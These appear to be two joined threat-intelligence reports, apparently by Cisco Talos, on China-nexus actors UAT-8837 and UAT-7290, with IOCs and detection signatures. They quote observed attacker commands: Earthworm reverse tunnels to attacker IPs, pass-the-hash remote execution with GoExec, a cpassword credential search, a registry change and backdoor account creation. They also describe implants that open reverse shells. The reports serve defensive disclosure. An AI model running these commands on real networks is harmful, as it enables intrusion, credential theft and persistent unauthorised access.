The GoTokenTheft utility is a tool for stealing access tokens. Written in GoLang and deployed at C:\Users\<user>\Desktop\go.exe, it may be used to steal tokens to run commands with elevated privileges:

eee.ico REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

Earthworm

Earthworm is network tunneling tool that has extensively been used by Chinese-speaking threat actors in intrusions to expose internal endpoints to attacker-owned remote infrastructure. UAT-8837 deploys multiple versions of Earthworm to determine which are not detectable by endpoint protection products. The undetected version is then used to create a reverse tunnel to attacker-controlled servers, as seen in the commands below:

C:\Windows\Temp\v.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433
  
C:\users\public\videos\verr.ico -s rssocks -d 172.188.162.183 -e 443
  
C:\Windows\Temp\eir.ico  -p 8888 -t 172[.]188[.]162[.]183 -f 11112
  
cisos.ico -s rssocks -d 172[.]188[.]162[.]183 –e80
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 443
  
vgent.ico -s rssocks -d 172[.]188[.]162[.]183 -e 447
  
abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448
  
C:\users\public\music\aa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443
  
C:\Users\public\Music\twd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443

DWAgent

UAT-8837 deploys DWAgent, a remote administration tool, to make it easier to access the compromised endpoint and drop additional malware to the system:

C:\Users\\Downloads\dwagent.exe
 
C:\Users\\AppData\Local\Temp\dwagent20250909101732\runtime\dwagent.exe -S -m installer

SharpHound

Per Talos’ observations, UAT-8837 downloads SharpHound with the intention to collect Active Directory information:

C:\Windows\Temp\SharpHound.exe

Impacket

UAT-8837 makes several attempts to download Impacket-based binaries to use in their operations:

C:\Windows\Temp\wec.ico

When Impacket is detected and blocked, Invoke-WMIExec is downloaded to run commands with elevated privileges:

C:\Windows\Temp\Invoke-WMIExec.ps1

GoExec

In one intrusion, after cycling through a number of tools, UAT-8837 deployed GoExec, a GoLang-based remote execution tool to execute commands on other connected remote endpoints within the victim’s network:

goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /all' -o-
 
C:\Windows\Temp\goe.exe wmi proc 10[.]xx[.]xx[.]xx \
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash <hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> --nt-hash 00000000000000000000000000000000:<hash> -e cmd.exe -a /C hostname -o 1.txt
 
goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o 1.txt
 
g.ico dcom mmc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C ipconfig -o-
g.ico wmi proc 10[.]xx[.]xx[.]xx -u <user> -p <password> -e cmd.exe -a /C hostname -o-

It is worth noting here that the usage of GoExec was likely an on-the-fly decision by the operator, necessitated by the constant detection and blocking of the threat actors tooling by CSE.

The threat actor also attempted to download and execute SharpWMI in the compromised environment, which was again detected by CSE:

C:\Windows\Temp\s.ico

Rubeus

Rubeus, a C# based toolset for Kerberos abuse may also be deployed:

• C:\Windows\Temp\r.ico
• C:\Windows\Temp\lo.txt

Certipy

UAT-8837 also deploys Certipy, a tool for AD discovery and abuse, to:

C:\Windows\Temp\Certipy.exe

Hands-on-keyboard activity

UAT-8837 may run a series of commands during the intrusion to obtain sensitive information, such as credentials from victim organizations:

findstr /S /l cpassword [\\]\policies\*.xml

 The system’s security configuration is also exported using secedit:

secedit /export /cfg C:\windows\temp\pol.txt

 Windows Local security policies extracted via secedit include password policies, user rights and audit settings. This information may be valuable to adversaries who seek to evaluate an endpoint's security posture including network security settings.

In one victim organization, UAT-8837 exfiltrated DLL-based shared libraries related to the victim’s products, raising the possibility that these libraries may be trojanized in the future. This creates opportunities for supply chain compromises and reverse engineering to find vulnerabilities in those products.

Domain reconnaissance

The net commands typically used to query domain groups and users are:

net group domain admins /domain

net localgroup administrators /domain

net group <name> /domain
 
net user <user> <password> /domain

net user <user> /domain

net accounts /domain

net user <user> /domain
 
nltest /DCLIST:<domain>

nslookup <subdomina>.<domain>

 The setspn command is used to list and query Service Principal Names (SPN) data from Active Directory:

setspn -L 

setspn -Q */*

Active Directory reconnaissance

UAT-8837 deploys a combination of tools to perform AD reconnaissance in the compromised environment. These tools include SharpHound and Certipy. The threat actor also uses the Windows-native tool “setspn” to query for AD data. However, UAT-8837 also brings their own living-off-the-land (LOTL) tooling. In one intrusion, the actor deployed dsget and dsquery to query for specific properties in the AD:

dsquery.exe user -limit 0 
  
dsquery.exe user -name <name>
  
dsget user -samid -display -email -upn
  
dsget.exe user -samid -display -email -upn
  
dsquery.exe user -samid <id> 
  
dsget.exe user -display -email -upn
  
dsquery.exe user -name admin
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -samid -display -email -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com -upn
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –memberof
  
dsget.exe user CN=<id>,OU=ServiceAccounts,OU=Production,DC=prod,DC=<domain>,DC=com –disabled
  
dsquery * DC=prod,DC=<domain>,DC=com -filter (objectClass=user) -attr * -limit 0

Backdoored user accounts

The threat actor created user accounts to open up another channel of access to the compromised environment:

net user <user> <password> /add /domain

In another instance, UAT-8837 added an existing user account to local groups:

net user <user>
  
net localgroup <group> <user> /add

Coverage

The following ClamAV signature detects and blocks this threat:

• Win.Malware.Earthworm

The following Snort Rules (SIDs) detect and block this threat:

• Snort 2 – 61883, 61884, 63727, 63728
• Snort 3 – 300585, 63727, 63728

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa – GoTokenTheft
451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm
B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b – Earthworm
Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 – Earthworm
4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm
 
891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft
5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 – SharpHound
6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 – Impacket
887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 – GoExec
4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec
1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 – SharpWMI
51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 – Rubeus
2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 – Rubeus
E27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d – Certipy
 
B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb
42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3
6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d
4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295
BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8
1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700
d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c
194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794
74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3
Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31
8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a
5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd
8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c
De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7
4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98
 
74[.]176[.]166[.]174
20[.]200[.]129[.]75
172[.]188[.]162[.]183
4[.]144[.]1[.]47
103[.]235[.]46[.]102

• Cisco Talos is disclosing a sophisticated threat actor we track as UAT-7290, who has been active since at least 2022.
• UAT-7290 is tasked with gaining initial access as well as conducting espionage focused intrusions against critical infrastructure entities in South Asia.
• UAT-7290's arsenal includes a malware family consisting of implants we call RushDrop, DriveSwitch, and SilentRaid.
• Our findings indicate that UAT-7290 conducts extensive technical reconnaissance of target organizations before carrying out intrusions.

---

Talos assesses with high confidence that UAT-7290 is a sophisticated threat actor falling under the China-nexus of Advanced Persistent Threat actors (APTs). UAT-7290 primarily targets telecommunications providers in South Asia. However, in recent months we have also seen UAT-7290 expand their targeting into Southeastern Europe.

In addition to conducting espionage focused attacks where UAT-7290 burrows deep inside a victim enterprise’s network infrastructure, their tactics, techniques and procedures (TTPs) and tooling suggests that this actor also establishes Operational Relay Box (ORBs) nodes. The ORB infrastructure may then be used by other China-nexus actors in their malicious operations, signifying UAT-7290's dual role as an espionage motivated threat actor as well as an initial access group.

Active since at least 2022, UAT-7290 has an expansive arsenal of tooling, including open-source malware, custom developed malware, and payloads for 1-day vulnerabilities in popular edge networking products. UAT-7290 primarily leverages a Linux based malware suite but may also utilize Windows based bespoke implants such as RedLeaves or Shadowpad commonly linked to China-nexus threat actors.

Our findings suggest that the threat actor conducts extensive reconnaissance of target organizations before carrying out intrusions. UAT-7290 leverages one-day exploits and target-specific SSH brute force to compromise public facing edge devices to gain initial access and escalate privileges on compromised systems. The actor appears to rely on publicly available proof-of-concept exploit code as opposed to developing their own.

UAT-7290 shares overlapping TTPs with known China-nexus adversaries, including the exploitation of high-profile vulnerabilities in networking devices, use of open-source web shells for persistence, leveraging UDP listeners, and using compromised infrastructure to facilitate operations.

Specifically, we have observed technical indicators that overlap with RedLeaves, a malware family attributed to APT10 (a.k.a. MenuPass, POTASSIUM and Purple Typhoon), as well as infrastructure associated with ShadowPad, a malware family used by a variety of China-nexus adversaries.

Additionally, UAT-7290 shares a significant amount of overlap in victimology, infrastructure, and tooling with a group publicly reported by Recorded Future as Red Foxtrot. In a 2021 report, Recorded Future linked Red Foxtrot to Chinese People’s Liberation Army (PLA) Unit 69010.

UAT-7290's malware arsenal for edge devices

Talos currently tracks the Linux-based malware families associated with UAT-7290 in this intrusion as:

• RushDrop – The dropper that kickstarts the infection chain. RushDrop is also known as ChronosRAT.
• DriveSwitch – A peripheral malware used to execute the main implant on the infected system.
• SilentRaid – The main implant in the intrusion meant to establish persistent access to compromised endpoints. It communicates with its command-and-control server (C2) and carries out tasks defined in the malware. SilentRaid is also known as MystRodX.

Another malware implanted on compromised devices by UAT-7290 is Bulbature. Bulbature, first disclosed by Sekoia in late 2024, is an implant that is used to convert compromised devices into ORBs.

RushDrop and DriveSwitch

RushDrop is a malware dropper that consists of three binaries encoded and embedded within it. RushDrop first makes rudimentary checks to ensure it is running on a legitimate system instead of a sandbox.

Then it either checks for the existence of, or creates a folder called “.pkgdb” in the current working directory of the dropper. RushDrop then decodes and drops three binaries to the “.pkgdb” folder:

• “daytime” - A malware family that simply executes a file called “chargen” from the current working directory. This executor is being tracked as DriveSwitch.
• “chargen” - The central implant of the infection chain, tracked as SilentRaid. SilentRaid communicates with its C2 server, usually in the form of a domain and can carry out action as instructed by the C2.
• “busybox” - Busybox is a legitimate Linux utility that can be used to execute arbitrary commands on the system. 

 DriveSwitch simply executes the SilentRaid malware on the system.

SilentRaid: The multifunctional malware

SilentRaid is a malware written in C++ and consists of multiple functionalities, written in the form of “plugins” embedded in the malware. On execution, it does certain rudimentary anti-VM and analysis checks to ensure it isn’t running in a sandbox. Then the malware simply initializes its “plugins” and contacts the C2 server for instructions to carry out malicious tasks on the infected endpoint. The plugins are built in functionalities, but modular enough to enable the threat actor to stitch together a combination of them during compilation.

Plugin: my_socks_mgr

This plugin handles communication to C2 server. It obtains the C2 IP by resolving a domain using “8[.]8[.]8[.]8” and passes commands received from the C2 to the appropriate plugin.

Plugin:my_rsh

This plugin opens a remote shell by executing “sh” either via either “busybox” or “/bin/sh”. This remote shell is then used to run arbitrary commands on the infected system.

Plugin:port_fwd_mgr

This plugin sets up port forwarding between ports specified — a local port and a port on a remote server. It can also set up port forwarding across multiple ports.

Plugin:my_file_mgr

This is the file manager of the backdoor. It allows the SilentRaid to:

• Read contents of “/etc/passwd”
• Execute a specified file on the system
• Archive directories specified by the C2 using “tar -cvf” - executed via busybox
• Check if a file is accessible
• Remove a file or directory using the “rm” command - via busybox
• Read/write a specified file

SilentRaid can also parse thru x509 certificates and collect attribute information such as:

• id-at-dnQualifier | Distinguished Name qualifier
• id-at-pseudonym | Pseudonym
• id-domainComponent | Domain component
• id-at-uniqueIdentifier | Unique Identifier

Bulbature

The Bulbature malware discovered consisted of the same string encoding scheme as the other UAT-7290's malware illustrated earlier. Usually UPX compressed, Bulbature can bind to and listen to either a random port of its choosing or one specified via command line via the “-d <port_number>” switch.

Bulbature obtains the local network interface’s name by executing the command:

cat /proc/net/route | awk '{print $1,$2}' | awk '/00000000/ {print $1}'

It also obtains basic system information and the current user using the command:

echo $(whoami) $(uname -nrm)

The malware typically records its C2 address in a config file in the /tmp directory. The file will have the same name as the malware binary with the “.cfg” extension appended to it. The C2 address may be an encoded string.

Bulbature can obtain additional or new C2 addresses from the current C2 and can switch over communications with them instead. The malware can open up a reverse shell with its C2 to execute arbitrary commands on the infected system.

A recent variant of Bulbature contained an embedded self-signed certificate that it used for communicating with the C2. This certificate matches the one from the sample disclosed by Sekoia as well:

509 Certificate:
Version: 3
Serial Number: 81bab2934ee32534
Signature Algorithm:
    Algorithm ObjectId: 1.2.840.113549.1.1.11 sha256RSA
    Algorithm Parameters:
    05 00
Issuer:
    O=Internet Widgits Pty Ltd
    S=Some-State
    C=AU
  Name Hash(sha1): d398f76c7ba0bbf79b1cac0620cdf4b42e505195
  Name Hash(md5): 4a963519b4950845a8d76668d4d7dd29
 
NotBefore: 8/8/2019 3:33 AM
NotAfter: 12/24/2046 3:33 AM
 
Subject:
    O=Internet Widgits Pty Ltd
    S=Some-State
    C=AU
  Name Hash(sha1): d398f76c7ba0bbf79b1cac0620cdf4b42e505195
  Name Hash(md5): 4a963519b4950845a8d76668d4d7dd29
 
Cert Hash(sha256): 918fb8af4998393f5195bafaead7c9ba28d8f9fb0853d5c2d75f10e35be8015a

Censys data shows that this certificate, with the exact Serial number, is present on at least 141 hosts, all either located in China or Hong Kong. On Virus Total, many of the IPs identified hosting this certificate are associated with other malware typically associated with China-nexus of threat actors such as SuperShell, GobRAT, Cobalt Strike, etc.

Coverage

The following ClamAV signatures detect and block this threat:

• Unix.Dropper.Agent
• Unix.Malware.Agent
• Unix.Packed.Agent

The following Snort Rule (SIDs) detects and blocks this threat: 65124

IOCs

723c1e59accbb781856a8407f1e64f36038e324d3f0bdb606d35c359ade08200

59568d0e2da98bad46f0e3165bcf8adadbf724d617ccebcfdaeafbb097b81596

961ac6942c41c959be471bd7eea6e708f3222a8a607b51d59063d5c58c54a38d